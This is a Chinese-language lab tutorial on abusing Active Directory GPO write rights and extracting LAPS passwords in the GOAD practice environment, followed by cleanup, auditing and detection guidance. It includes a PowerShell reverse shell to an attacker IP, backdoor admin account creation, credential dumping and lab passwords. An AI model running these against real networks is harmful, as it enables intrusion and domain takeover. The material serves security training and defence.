在前幾天的課程中,我們深入學習了 ACL(存取控制清單)的基本概念與攻擊技巧。今天將進入更進階的攻擊場景,探討兩個在企業網域環境中極具威脅性的攻擊向量:
Group Policy Object (GPO) 濫用:當攻擊者取得對 GPO 的寫入權限,就能在整個網域範圍內執行任意程式碼,這是從單一突破點快速擴大影響範圍的關鍵技術。
Local Administrator Password Solution (LAPS) 密碼提取:LAPS 是微軟推薦用來管理本機管理員密碼的解決方案,但若權限設定不當,反而成為攻擊者橫向移動的捷徑。
透過本次實戰演練,你將學會如何識別這些漏洞、執行概念驗證攻擊,以及實施有效的防禦措施。
完成今天的實作後,你將能夠:
# GPO 攻擊
python3 pygpoabuse.py DOMAIN/user:pass -gpo-id "GUID" -command "..." -taskname "..."
python3 pygpoabuse.py ... --cleanup -f # 清理
# LAPS 偵測與提取
ldapsearch -x -H ldap://DC "(name=ms-Mcs-AdmPwd)" # 偵測 LAPS
nxc ldap DC -u user -p pass --module laps # 提取密碼
# 密碼使用
nxc smb TARGET -u Administrator -p 'LAPS_PASS' --local-auth
確保你已經取得以下帳號的存取權限:
# sevenkingdoms.local 域
tywin.lannister:powerkingftw135 # 起始點(低權限使用者)
# north.sevenkingdoms.local 域
samwell.tarly:Heartsbane # 用於 GPO 攻擊
# essos.local 域
jorah.mormont:H0nnor! # 用於讀取 LAPS
# 確認 Impacket 工具
which impacket-secretsdump
which impacket-getST
which impacket-wmiexec
which impacket-psexec
# 安裝 Impacket Fork (包含 dacledit, owneredit)
git clone https://github.com/ThePorgs/impacket.git
cd impacket
pip3 install .
# 下載 pyGPOAbuse
git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
pip3 install -r requirements.txt
# 確認 NetExec
which nxc # NetExec (新版 CME)
Group Policy Object (GPO) 是 Windows 域環境中用於集中管理設定的機制。
GPO 可以控制:
GPO 的危險性:
如果攻擊者可以修改 GPO
↓
可以在所有套用該 GPO 的電腦上執行任意命令
↓
通常是 SYSTEM 權限!
步驟 1:查詢非域管理員對 GPO 有寫入權限的情況
# 查詢非域管理員對 GPO 有寫入權限的情況
MATCH p=(u:User)-[r:GenericWrite|GenericAll|WriteProperty|WriteDacl|Owns]->(g:GPO)
WHERE NOT u.admincount=true
RETURN p
在 GOAD 環境中的發現:
samwell.tarly@north.sevenkingdoms.local (普通使用者)
↓ GenericWrite + WriteDacl
STARKWALLPAPER@NORTH.SEVENKINGDOMS.LOCAL (GPO)
步驟 2:查詢從該使用者到高價值目標的完整攻擊路徑
# 使用最短路徑查詢找出攻擊鏈
MATCH p=shortestPath(
(u:User {name: "SAMWELL.TARLY@NORTH.SEVENKINGDOMS.LOCAL"})
-[*1..5]->
(target)
)
WHERE target.highvalue = true
RETURN p
LIMIT 10
完整攻擊路徑分析:
samwell.tarly@north.sevenkingdoms.local
↓ GenericWrite + WriteDacl
STARKWALLPAPER@NORTH.SEVENKINGDOMS.LOCAL (GPO)
↓ 影響範圍
├─→ NORTH.SEVENKINGDOMS.LOCAL (Domain)
│ └─→ 可達的高價值組群:
│ ├─ DOMAIN ADMINS@NORTH.SEVENKINGDOMS.LOCAL
│ ├─ DOMAIN CONTROLLERS@NORTH.SEVENKINGDOMS.LOCAL
│ └─ ADMINISTRATORS@NORTH.SEVENKINGDOMS.LOCAL
│
└─→ SEVENKINGDOMS.LOCAL (Domain)
└─→ ENTERPRISE ADMINS@SEVENKINGDOMS.LOCAL
關鍵發現:
風險評估:
嚴重性:極高 (Critical)
風險項目 | 說明 |
---|---|
受影響範圍 | 整個 NORTH.SEVENKINGDOMS.LOCAL 網域 + 部分 SEVENKINGDOMS.LOCAL |
可達目標 | 26 個高價值對象,包括 Domain Admins、Domain Controllers、Enterprise Admins |
攻擊難度 | 低 - 只需修改 GPO 設定 |
影響時效 | GPO 刷新時間(預設 90 分鐘內生效) |
潛在後果 | 完全控制網域控制站 → Domain Admin 權限 |
攻擊路徑總結:
git clone https://github.com/Hackndo/pyGPOAbuse.git
cd pyGPOAbuse
python3 -m pip install -r requirements.txt
步驟 1:執行 pyGPOAbuse 攻擊
# 從 BloodHound 取得 GPO ID
# 範例:7F28A4E9-0C5C-41FD-B284-6D0A94BFE900
python3 pygpoabuse.py \
north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
-gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900"
輸出:
[+] ScheduledTask TASK_6170b455 created!
步驟 2:驗證 GPO 修改是否成功
# 檢查 ScheduledTasks.xml 是否已建立
smbclient //192.168.139.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
-c "ls north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks/"
預期輸出:
. D 0 Fri Oct 3 08:33:47 2025
.. D 0 Fri Oct 3 08:33:47 2025
ScheduledTasks.xml A 1854 Fri Oct 3 08:33:47 2025
步驟 3:下載並檢查任務內容
# 下載 ScheduledTasks.xml
smbclient //192.168.139.11/SYSVOL -U "north.sevenkingdoms.local/samwell.tarly%Heartsbane" \
-c "get north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks/ScheduledTasks.xml ScheduledTasks.xml"
# 查看內容
cat ScheduledTasks.xml
關鍵內容分析:
<Task version="1.3">
<RegistrationInfo>
<Description>MSBuild build and release task</Description> <!-- 偽裝成合法任務 -->
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId> <!-- SYSTEM 權限執行 -->
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<Enabled>true</Enabled> <!-- 已啟用 -->
<Hidden>true</Hidden> <!-- 隱藏任務 -->
</Settings>
<Actions Context="Author">
<Exec>
<Command>c:\windows\system32\cmd.exe</Command>
<Arguments>/c "net user john H4x00r123.. /add && net localgroup administrators john /add"</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>%LocalTimeXmlEx%</StartBoundary> <!-- 立即執行 -->
</TimeTrigger>
</Triggers>
</Task>
攻擊機制:
1. pyGPOAbuse 修改 GPO 的 ScheduledTasks.xml 設定檔案
2. 新增一個立即排程任務(ImmediateTaskV2)
3. 任務內容:
- 建立使用者:john
- 密碼:H4x00r123..
- 新增到本地管理員組
4. 執行權限:NT AUTHORITY\System(最高權限)
5. 執行時機:
- Computer GPO: 電腦啟動時 / gpupdate /force
- 預設 GPO 更新週期:90-120 分鐘
6. 隱蔽性:
- 任務名稱:TASK_6170b455(隨機生成)
- 任務描述:MSBuild build and release task(偽裝)
- 隱藏屬性:Hidden=true
步驟 4:等待 GPO 應用並驗證
在目標電腦上(如果有存取權限)觸發 GPO 更新:
# 強制 GPO 更新
gpupdate /force
# 等待幾秒後檢查新使用者
net user
預期輸出:
User accounts for \\CASTELBLACK
-------------------------------------------------------------------------------
Administrator Guest john
krbtgt ...
步驟 5:測試新建立的使用者
# 使用 CrackMapExec 測試 john 帳戶
crackmapexec smb castelblack.north.sevenkingdoms.local \
-u john \
-p 'H4x00r123..' \
--local-auth
成功輸出:
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:CASTELBLACK) (signing:False) (SMBv1:False)
SMB castelblack.north.sevenkingdoms.local 445 CASTELBLACK [+] CASTELBLACK\john:H4x00r123.. (Pwn3d!)
步驟 6:使用新權限進行橫向移動
# 測試多台機器
crackmapexec smb 192.168.139.0/24 \
-u john \
-p 'H4x00r123..' \
--local-auth
主機 | IP | 狀態 | 權限等級 | 說明 |
---|---|---|---|---|
CASTELBLACK | 192.168.139.22 | [+] (Pwn3d!) | 管理員 | 完全控制! |
BRAAVOS | 192.168.139.23 | [+] | 普通使用者 | 可登入但權限受限 |
# 取得 Shell
impacket-psexec john:'H4x00r123..'@192.168.139.22
成功取得 Shell 的輸出:
[*] Requesting shares on 192.168.139.22.....
[*] Found writable share ADMIN$
[*] Uploading file jKHPGQWr.exe
[*] Opening SVCManager on 192.168.139.22.....
[*] Creating service vHDf on 192.168.139.22.....
[*] Starting service vHDf.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1697]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
# 提取本地憑證
impacket-secretsdump john:'H4x00r123..'@192.168.139.22
風險評估:
項目 | 詳情 |
---|---|
受影響範圍 | 所有套用 STARKWALLPAPER GPO 的電腦(包括 Domain Controllers) |
新增帳戶 | john (密碼: H4x00r123..) |
權限等級 | 本地管理員 → 可能提升至 Domain Admin |
偵測難度 | 中等(會產生 Event ID 4720 和 4732) |
持久性 | 高(除非 GPO 被還原,否則會在所有新加入的電腦上執行) |
# 在 Kali 上啟動監聽
nc -lvnp 4444
使用 Metasploit
msfconsole -q
use exploit/multi/handler
set payload windows/shell/reverse_tcp
set LHOST 192.168.139.136
set LPORT 4444
exploit -j
執行 pyGPOAbuse(在新終端):
python3 pygpoabuse.py \
north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
-gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900" \
-powershell \
-command "\$c = New-Object System.Net.Sockets.TCPClient('192.168.139.136',4444);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){ \$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i); \$sb = (iex \$d 2>&1 | Out-String ); \$sb = ([text.encoding]::ASCII).GetBytes(\$sb + 'ps> '); \$s.Write(\$sb,0,\$sb.Length); \$s.Flush()};\$c.Close()" \
-taskname "WindowsUpdate" \
-description "Security Update Installation"
smbclient //winterfell.north.sevenkingdoms.local/SYSVOL \
-U north.sevenkingdoms.local/samwell.tarly%'Heartsbane'
smb: \> cd north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks
smb: \> dir
# 應該看到 ScheduledTasks.xml 文件
smb: \> get ScheduledTasks.xml
smb: \> exit
# 在 Kali 上查看文件內容
cat ScheduledTasks.xml
幾分鐘後(或在目標機器執行 gpupdate /force
):
nc 監聽器收到連接:
listening on [any] 4444 ...
connect to [192.168.139.136] from (UNKNOWN) [192.168.139.22] 49823
ps> whoami
nt authority\system
ps> hostname
CASTELBLACK
成功!取得 SYSTEM 權限的反向 Shell!
極度危險:
pyGPOAbuse 會修改正式環境的 GPO!
風險:
1. 影響所有套用該 GPO 的電腦
2. 可能導致業務中斷
3. 修改不會自動還原
4. 可能破壞現有設定
絕對不要在生產環境使用,除非:
- 客戶明確授權
- 已經備份 GPO
- 有詳細的清理計劃
方法 1:使用 pyGPOAbuse 自動清理(推薦)
python3 pygpoabuse.py \
north.sevenkingdoms.local/samwell.tarly:'Heartsbane' \
-gpo-id "7F28A4E9-0C5C-41FD-B284-6D0A94BFE900" \
-taskname "TASK_6170b455" \
--cleanup \
-f \
-v
方法 2:手動刪除 SYSVOL 文件
smbclient //winterfell.north.sevenkingdoms.local/SYSVOL \
-U north.sevenkingdoms.local/samwell.tarly%'Heartsbane'
# 進入 SMB shell 後執行:
smb: \> cd north.sevenkingdoms.local/Policies/{7F28A4E9-0C5C-41FD-B284-6D0A94BFE900}/Machine/Preferences/ScheduledTasks
smb: \> del ScheduledTasks.xml
smb: \> dir
smb: \> exit
方法 3:在目標機器上手動刪除計劃任務
# 連接到目標機器(CASTELBLACK)
impacket-psexec john:'H4x00r123..'@192.168.139.22
# 在 Windows Shell 中執行:
C:\> schtasks /query | findstr /I "WindowsUpdate"
# 刪除任務
C:\> schtasks /delete /tn "WindowsUpdate" /f
# 強制更新 GPO 以確保移除
C:\> gpupdate /force
C:\> exit
在目標機器上刪除使用者(需要管理員權限)
net user john /delete
# 在域控制器上執行
# 1. 開啟 Group Policy Management
gpmc.msc
# 2. 找到被修改的 GPO
# 3. 右鍵 → Settings → Computer Configuration → Preferences → Control Panel Settings → Scheduled Tasks
# 4. 刪除 pyGPOAbuse 建立的排程任務
# 5. 或直接刪除 GPO 修改的檔案
# SYSVOL 路徑:\\DC\SYSVOL\domain\Policies\{GPO-ID}\Machine\Preferences\ScheduledTasks\
# 6. 強制 GPO 更新
gpupdate /force /target:computer
Local Administrator Password Solution (LAPS) 是 Microsoft 提供的工具,用於:
LAPS 儲存的屬性:
ms-Mcs-AdmPwd
:明文密碼(未加密儲存在 AD 中)ms-Mcs-AdmPwdExpirationTime
:密碼過期時間(FILETIME 格式)預設權限:
檢查 AD Schema 是否包含 LAPS 屬性:
ldapsearch -x -H ldap://192.168.139.12 \
-D "jorah.mormont@essos.local" \
-w 'H0nnor!' \
-b "CN=Schema,CN=Configuration,DC=essos,DC=local" \
"(name=ms-Mcs-AdmPwd)"
成功輸出:
# ms-Mcs-AdmPwd, Schema, Configuration, essos.local
dn: CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=essos,DC=local
adminDescription: LAPS Password Attribute
lDAPDisplayName: ms-Mcs-AdmPwd
如果查詢回傳結果,表示此域已部署 LAPS。
nxc ldap 192.168.139.12 \
-d essos.local \
-u jorah.mormont \
-p 'H0nnor!' \
--module laps
輸出範例:
LAPS 192.168.139.12 389 MEEREEN [*] Getting LAPS Passwords
LAPS 192.168.139.12 389 MEEREEN Computer:BRAAVOS$ User: Password:%bqi]1Or0[qW7f
欄位說明:
Computer
: 電腦名稱($
表示電腦帳戶)User
: 通常為空(預設為本地 Administrator)Password
: LAPS 管理的密碼列出所有有 LAPS 密碼的電腦:
ldapsearch -x -H ldap://192.168.139.12 \
-D "jorah.mormont@essos.local" \
-w 'H0nnor!' \
-b "DC=essos,DC=local" \
"(&(objectClass=computer)(ms-Mcs-AdmPwd=*))" \
cn dNSHostName ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
查詢特定電腦:
ldapsearch -x -H ldap://192.168.139.12 \
-D "jorah.mormont@essos.local" \
-w 'H0nnor!' \
-b "DC=essos,DC=local" \
"(cn=BRAAVOS)" \
ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime
輸出:
cn: BRAAVOS
ms-Mcs-AdmPwd: %bqi]1Or0[qW7f
ms-Mcs-AdmPwdExpirationTime: 134043286027252271
LAPS 使用 Windows FILETIME 格式儲存過期時間,需要轉換:
python3 << 'EOF'
import datetime
filetime = 134043286027252271
timestamp = (filetime - 116444736000000000) / 10000000
dt = datetime.datetime.utcfromtimestamp(timestamp)
now = datetime.datetime.utcnow()
print(f"密碼過期時間 (UTC): {dt}")
print(f"目前時間 (UTC): {now}")
print(f"狀態: {'✅ 有效' if dt > now else '❌ 已過期'}")
print(f"剩餘天數: {(dt - now).days} 天")
EOF
基本認證測試:
# 使用本地認證
nxc smb 192.168.139.23 \
-u Administrator \
-p '%bqi]1Or0[qW7f' \
--local-auth
預期成功輸出:
SMB 192.168.139.23 445 BRAAVOS [+] BRAAVOS\Administrator:%bqi]1Or0[qW7f (Pwn3d!)
在實際測試中,我們遇到了 LAPS 密碼無法使用的情況,這是非常好的學習機會:
問題現象:
nxc smb 192.168.139.23 -u Administrator -p '%bqi]1Or0[qW7f' --local-auth
SMB 192.168.139.23 445 BRAAVOS [-] BRAAVOS\Administrator:%bqi]1Or0[qW7f STATUS_LOGON_FAILURE
診斷過程:
nxc smb 192.168.139.23 \
-u jorah.mormont \
-p 'H0nnor!' \
-d essos.local \
--rid-brute
輸出:
SMB 192.168.139.23 445 BRAAVOS 500: BRAAVOS\Administrator (SidTypeUser)
SMB 192.168.139.23 445 BRAAVOS 1000: BRAAVOS\vagrant (SidTypeUser)
ldapsearch -x -H ldap://192.168.139.12 \
-D "jorah.mormont@essos.local" \
-w 'H0nnor!' \
-b "OU=Laps,DC=essos,DC=local" \
gPLink
輸出:
dn: OU=Laps,DC=essos,DC=local
gPLink: [LDAP://cn={A4C7F480-D5A1-448B-BFD7-B641928046C3},cn=policies,cn=system,DC=essos,DC=local;2]
# 測試不同帳戶
for user in Administrator admin vagrant localadmin; do
echo "Testing: $user"
nxc smb 192.168.139.23 -u $user -p '%bqi]1Or0[qW7f' --local-auth
done
可能原因分析:
原因 | 機率 | 驗證方法 |
---|---|---|
LAPS 管理的不是 Administrator | 高 | 檢查 GPO Registry.pol 設定 |
AD 與主機密碼不同步 | 中 | 強制主機執行 gpupdate |
主機未正確套用 LAPS GPO | 中 | 檢查主機的 LAPS 服務狀態 |
特殊字元轉義問題 | 低 | 使用不同引號方式測試 |
關鍵學習點:
進一步診斷:
# 查看 LAPS GPO 設定
ldapsearch -x -H ldap://192.168.139.12 \
-D "jorah.mormont@essos.local" \
-w 'H0nnor!' \
-b "CN={A4C7F480-D5A1-448B-BFD7-B641928046C3},CN=Policies,CN=System,DC=essos,DC=local" \
gPCFileSysPath displayName versionNumber
在域內的 Windows 機器上:
Import-Module .\PowerView.ps1
# 查詢所有有 LAPS 密碼的電腦
Get-DomainComputer |
Where-Object { $_."ms-Mcs-AdmPwd" -ne $null } |
Select-Object cn, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
# 查詢特定電腦
Get-DomainComputer -Identity "BRAAVOS" -Properties ms-Mcs-AdmPwd
查詢誰有權限讀取 LAPS 密碼:
# 查詢電腦物件的 ACL
ldapsearch -x -H ldap://192.168.139.12 \
-D "jorah.mormont@essos.local" \
-w 'H0nnor!' \
-b "CN=BRAAVOS,OU=Laps,DC=essos,DC=local" \
nTSecurityDescriptor
使用 PowerView:
# 查詢 ms-Mcs-AdmPwd 屬性的 ACE
Get-DomainObjectAcl -Identity "BRAAVOS" |
Where-Object { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" } |
Select-Object SecurityIdentifier, ActiveDirectoryRights
常見的 LAPS 設定錯誤:
防禦措施:
防禦措施 | 實施方法 | 效果 | 難度 |
---|---|---|---|
定期 ACL 審計 | 使用 PowerView/BloodHound 審查異常 ACL | 極高 | 中等 |
限制 WriteDacl/WriteOwner | 移除非必要的高危險權限 | 極高 | 簡單 |
保護高價值帳號 | 加入 Protected Users 群組 | 高 | 簡單 |
啟用 AdminSDHolder | 確保受保護群組的 ACL 被正確管理 | 高 | 簡單 |
限制 GPO 修改權限 | 只有 Domain Admins 可修改 GPO | 極高 | 簡單 |
強化 LAPS ACL | 限制誰可以讀取 LAPS 密碼 | 高 | 簡單 |
# 尋找對使用者有 GenericAll/GenericWrite 的非管理員
Get-DomainObjectAcl -ResolveGUIDs |
Where-Object {
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite" -and
$_.SecurityIdentifier -match "S-1-5-21-"
} |
Select-Object ObjectDN, SecurityIdentifier, ActiveDirectoryRights
# 尋找對 GPO 有寫入權限的非管理員
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=domain,DC=local" |
Where-Object {
$_.ActiveDirectoryRights -match "WriteProperty|WriteDacl|GenericWrite|GenericAll"
}
# 查詢到 Domain Admins 的最短路徑
MATCH p=shortestPath((u:User {admincount:false})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
RETURN p
# 查詢利用 ACL 的路徑
MATCH p=(u:User)-[r:GenericAll|GenericWrite|WriteOwner|WriteDacl|ForceChangePassword*1..5]->(n)
WHERE u.admincount=false AND NOT u.name CONTAINS "VAGRANT"
RETURN p
# 審查 GPO 的 ACL
Get-GPO -All | ForEach-Object {
$gpo = $_
Get-GPPermission -Guid $gpo.Id -All |
Where-Object {
$_.Permission -match "GpoEdit" -and
$_.Trustee.Name -notmatch "Domain Admins|Enterprise Admins"
} |
Select-Object @{N="GPO";E={$gpo.DisplayName}}, Trustee, Permission
}
Event ID | 描述 | 監控重點 |
---|---|---|
4662 | 物件存取操作 | WriteProperty, WriteDacl 操作 |
4670 | 物件權限變更 | ACL 被修改 |
4724 | 重置密碼嘗試 | ForceChangePassword 攻擊 |
4738 | 使用者帳號變更 | msDS-KeyCredentialLink 修改(Shadow Credentials) |
5136 | 目錄服務物件修改 | GPO 修改、群組成員變更 |
# Event ID 5136 - 目錄服務物件修改
# 監控:CN=Policies,CN=System 下的變更
index=windows EventCode=5136
| search ObjectDN="CN=Policies,CN=System*"
| table _time SubjectUserName ObjectDN AttributeName AttributeValue
# Event ID 4662 - 物件存取操作
index=windows EventCode=4662 Properties="*ms-Mcs-AdmPwd*"
| stats count by SubjectUserName, ObjectName
| where count > 10 # 批次提取密碼
# Get-DangerousGPOPermissions.ps1
Get-GPO -All | ForEach-Object {
$gpo = $_
Get-GPPermission -Guid $gpo.Id -All |
Where-Object {
$_.Permission -match "GpoEdit|FullControl" -and
$_.Trustee.Name -notmatch "Domain Admins|Enterprise Admins|SYSTEM"
} | Select-Object @{N="GPO";E={$gpo.DisplayName}},
@{N="Trustee";E={$_.Trustee.Name}},
Permission, Inherited
}
# Get-LAPSPermissions.ps1
$computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd
foreach ($computer in $computers) {
$acl = Get-Acl "AD:$($computer.DistinguishedName)"
$acl.Access | Where-Object {
$_.ObjectType -eq "ms-Mcs-AdmPwd" -and
$_.IdentityReference -notmatch "Domain Admins|SYSTEM"
} | Select-Object @{N="Computer";E={$computer.Name}},
IdentityReference, AccessControlType
}
# 偵測 GPO 修改
index=windows EventCode=5136 ObjectClass="groupPolicyContainer"
| stats count by _time, SubjectUserName, ObjectDN
| where count > 5 # 短時間內大量修改
# 偵測 LAPS 密碼存取
index=windows EventCode=4662 Properties="*ms-Mcs-AdmPwd*"
| stats count by SubjectUserName, ObjectName
| where count > 10 # 批次提取密碼
# PingCastle 是 Windows 工具,可以快速評估 AD 安全態勢
# 下載:https://www.pingcastle.com/
# 在域內 Windows 機器執行
PingCastle.exe --healthcheck --server dc.domain.local
# 報告會包含:
# - 危險的 ACL 設定
# - AdminSDHolder 問題
# - GPO 權限問題
# - LAPS 設定問題
問題:為什麼初始版本的 GOAD 將 ACL 設定在 Domain Admins 群組上會導致攻擊演練失效?
A) Domain Admins 群組無法被授予額外的 ACL 權限
B) AdminSDHolder 機制每 60 分鐘會重置受保護群組的 ACL
C) Domain Admins 群組的 ACL 是唯讀的,無法修改
D) BloodHound 無法偵測 Domain Admins 的 ACL 關係
正確答案:B
精簡解析:
AdminSDHolder 是 AD 用來保護高權限群組的機制。SDProp 執行緒每 60 分鐘會從 AdminSDHolder 物件複製 ACL 到受保護群組(包括 Domain Admins),任何手動新增的 ACL 會被移除。因此攻擊者即使成功設定 ACL,也會在一小時內失效。
詳細說明請參閱附錄 A:AdminSDHolder 深度解析。
問題:GenericWrite 和 WriteDacl 這兩種權限的主要區別是什麼?
A) GenericWrite 只能修改物件屬性,WriteDacl 可以修改 ACL
B) GenericWrite 可以執行所有寫入操作包括修改 ACL,WriteDacl 只能修改 ACL
C) WriteDacl 的權限範圍比 GenericWrite 更大
D) 兩者沒有區別,只是名稱不同
正確答案:A
精簡解析:
GenericWrite 允許修改大部分物件屬性(如 msDS-KeyCredentialLink、SPN 等),但不能修改 ACL。WriteDacl 則專門用於修改物件的 DACL(訪問控制清單),可以給自己授予任意權限。從攻擊角度看,WriteDacl 更強大,因為它可以授予自己 GenericWrite 及其他所有權限。
詳細說明請參閱附錄 B:權限類型詳解。
問題:在攻擊鏈的最後,我們對域控制器 kingslanding$ 執行 Shadow Credentials 攻擊。為什麼取得 DC 的機器帳號(kingslanding$)就等於控制了整個域?
A) 機器帳號預設是 Domain Admins 群組成員
B) DC 的機器帳號可以執行 S4U2Self 冒充任意使用者,包括 Administrator
C) DC 的機器帳號有權限修改所有使用者的密碼
D) 機器帳號擁有域的 krbtgt 密鑰
正確答案:B
精簡解析:
域控制器的機器帳號具有 TrustedToAuthForDelegation
屬性,允許執行 S4U2Self(Service for User to Self)。這個機制讓 DC 可以代表任意使用者取得服務票證,而不需要該使用者的密碼或憑證。攻擊者利用此特性可以冒充 Administrator,獲得完全控制權。這是協定轉換(Protocol Transition)的設計,但也成為攻擊向量。
詳細說明請參閱附錄 C:S4U2Self 機制詳解。
問題:pyGPOAbuse 工具在利用 GPO 錯誤設定時,為什麼被認為是極度危險的,不應在生產環境使用?
A) pyGPOAbuse 會刪除原有的 GPO,導致所有設定丟失
B) pyGPOAbuse 會修改 GPO 但不會自動還原,影響所有套用該 GPO 的電腦
C) pyGPOAbuse 只能在 Linux 上執行,無法用於 Windows 域
D) pyGPOAbuse 會觸發域控制器的安全警報,導致攻擊被發現
正確答案:B
精簡解析:
pyGPOAbuse 直接修改 SYSVOL 中的 GPO 設定檔案(如 ScheduledTasks.xml),這些修改是永久的,不會自動還原。一旦 GPO 被修改,所有套用該 GPO 的電腦(可能數百台)都會執行惡意程式碼,且會持續影響新加入域的電腦。除非手動清理,否則這些修改會一直存在,這就是為什麼它極度危險。
問題:LAPS(Local Administrator Password Solution)將本地管理員密碼以明文儲存在 Active Directory 的電腦物件屬性中。這看起來很不安全,為什麼 Microsoft 還是推薦使用 LAPS?
A) LAPS 的密碼儲存在加密的 AD 屬性中,實際上不是明文
B) 雖然是明文儲存,但 ACL 控制誰可以讀取,且每台電腦密碼不同並定期輪換
C) LAPS 密碼只能由域控制器讀取,其他使用者無法存取
D) LAPS 使用不可逆的雜湊儲存密碼,類似 NT Hash
正確答案:B
精簡解析:
LAPS 的安全性不依賴密碼的加密,而是依賴 權限控制 + 密碼獨特性 + 定期輪換。每台電腦的密碼都不同(防止橫向移動),透過 ACL 限制誰可以讀取(最小權限原則),並且自動定期更新密碼(限制憑證有效期)。雖然密碼是明文儲存,但透過這些機制的結合,LAPS 仍然是管理本地管理員密碼的最佳實踐。
今天我們完成了一次完整的 GPO 濫用與 LAPS 密碼提取實戰演練。
1. GPO 濫用的威力與風險
2. LAPS 的正確理解
定期審計 ACL
保護高價值目標
GPO 安全
LAPS 最佳實踐
AdminSDHolder 是 Active Directory 的一個保護機制,專門用來保護高權限群組:
工作原理:
1. SDProp (Security Descriptor Propagator) 執行緒每 60 分鐘執行一次
2. 檢查所有受保護群組及其成員(adminCount=1)
3. 從 CN=AdminSDHolder,CN=System,DC=domain,DC=local 複製 ACL
4. 覆蓋到受保護物件的 ACL
5. 任何手動新增的 ACL 被移除
受保護的群組清單:
實際影響:
時間軸:
T0 - 設定 tywin.lannister 對 Domain Admins 有 GenericWrite
T0+1 - 攻擊成功,可以利用
T0+30 - 仍然可以利用
T0+60 - SDProp 執行,ACL 被重置
T0+61 - 攻擊失效,ACL 不存在
檢查受保護狀態:
# 查詢 adminCount 屬性
Get-ADUser -Filter * -Properties adminCount |
Where-Object { $_.adminCount -eq 1 } |
Select-Object Name, adminCount
手動觸發 SDProp(不等 60 分鐘):
# 在 DC 上執行(需要 DA 權限)
$RootDSE = [ADSI]"LDAP://RootDSE"
$RootDSE.Put("runProtectAdminGroupsTask", "1")
$RootDSE.SetInfo()
GenericWrite(通用寫入):
允許的操作:
├── 修改大部分物件屬性
│ ├── scriptPath
│ ├── profilePath
│ ├── servicePrincipalName
│ ├── msDS-KeyCredentialLink (Shadow Credentials)
│ └── userAccountControl (部分屬性)
├── 但不包括:
│ ├── DACL(訪問控制清單)
│ ├── Owner(擁有者)
│ └── 某些敏感屬性
WriteDacl(寫入 ACL):
允許的操作:
└── 修改物件的 DACL(訪問控制清單)
↓
可以給自己授予任意權限
↓
包括 GenericAll(完全控制)
權限範圍矩陣:
操作 | GenericWrite | WriteDacl | GenericAll |
---|---|---|---|
修改一般屬性 | ✓ | ❌ | ✓ |
Shadow Credentials | ✓ | ❌(需先授予自己權限) | ✓ |
新增 SPN | ✓ | ❌ | ✓ |
修改 ACL | ❌ | ✓ | ✓ |
重置密碼 | ❌ | ❌ | ✓ |
修改群組成員 | ❌ | ❌ | ✓ |
域控制器的機器帳號(DC$)具有特殊屬性:
TrustedToAuthForDelegation = True(協定轉換)
TrustedForDelegation = True(無約束委派)
└── 這允許 DC 執行 S4U2Self 和 S4U2Proxy
S4U2Self 的作用:
Service for User to Self (S4U2Self)
↓
允許服務代表任意使用者取得該使用者的 TGS
↓
不需要:
- 使用者的密碼
- 使用者的 Hash
- 使用者的 TGT
↓
只需要:
- 服務本身的憑證(DC$)
- TrustedToAuthForDelegation 屬性
攻擊流程:
1. 攻擊者透過 Shadow Credentials 取得 kingslanding$ 的憑證
↓
獲得:kingslanding.ccache (TGT) + NT Hash
2. 使用 kingslanding$ 的 TGT 執行 S4U2Self
↓
impacket-getST -self -impersonate "Administrator" ...
3. S4U2Self 請求
↓
kingslanding$ 向 KDC 說:
「我需要代表 Administrator 存取我自己的服務」
↓
KDC 檢查:
- kingslanding$ 有 TrustedToAuthForDelegation? ✓ 是
- 要求冒充的是 Administrator? ✓ 允許
↓
KDC 發放:Administrator 的 TGS(針對 kingslanding$)
4. 使用 -altservice 修改 SPN
↓
將服務從 HOST/kingslanding 改為 CIFS/kingslanding
↓
現在可以用 Administrator 身份存取 SMB
5. 使用票證連接
↓
impacket-wmiexec -k -no-pass Administrator@kingslanding
↓
完全控制域控制器
為什麼 DC 必須有這個能力?
合法用途:
1. 使用者透過 NTLM 認證到 Web 伺服器
2. Web 伺服器需要以使用者身份存取後端資料庫
3. Web 伺服器使用 S4U2Self 取得使用者的 TGS
4. 使用 S4U2Proxy 將 TGS 轉換為資料庫的服務票證
5. 以使用者身份存取資料庫(保持審計追蹤)
這是「協定轉換(Protocol Transition)」的設計目的
檢查電腦是否有此能力:
# 查詢有 TrustedToAuthForDelegation 的電腦
Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation,ServicePrincipalName
# 通常只有 DC
